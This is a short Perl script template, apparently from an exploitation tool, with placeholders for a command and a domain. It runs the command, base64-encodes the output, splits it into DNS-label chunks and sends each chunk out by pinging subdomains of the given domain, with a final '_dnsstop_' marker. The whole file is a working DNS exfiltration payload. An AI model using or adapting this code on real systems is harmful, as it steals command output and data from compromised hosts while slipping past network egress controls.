#!/usr/bin/perl
use MIME::Base64;
$domain='#{domain}';
$cmd=`#{cmd}`;
$b64cmd=encode_base64($cmd);
$b64cmd=~s/[\n\r=]*//g;
$b64cmd=~s/\+/-/g;
$b64cmd=~s/\//_/g;
@b64cmd_list=$b64cmd=~/.{1,63}/g;
@dataSource=('A'..'Z');
$rand_str=join '',map{$dataSource[int rand @dataSource]} 0..5;
$rand_str=$rand_str."Dns";
$count='0';
foreach $i (@b64cmd_list){
    $b64domain=$rand_str.'.'.$count.'.'.$i.'.'.$domain;
    $cmd='ping -c 1 '.$b64domain; 
    system($cmd);
    $count+='1';
}
$b64domain=$rand_str.'.'.$count.'._dnsstop_.'.$domain;
$cmd='ping -c 1 '.$b64domain;
system($cmd);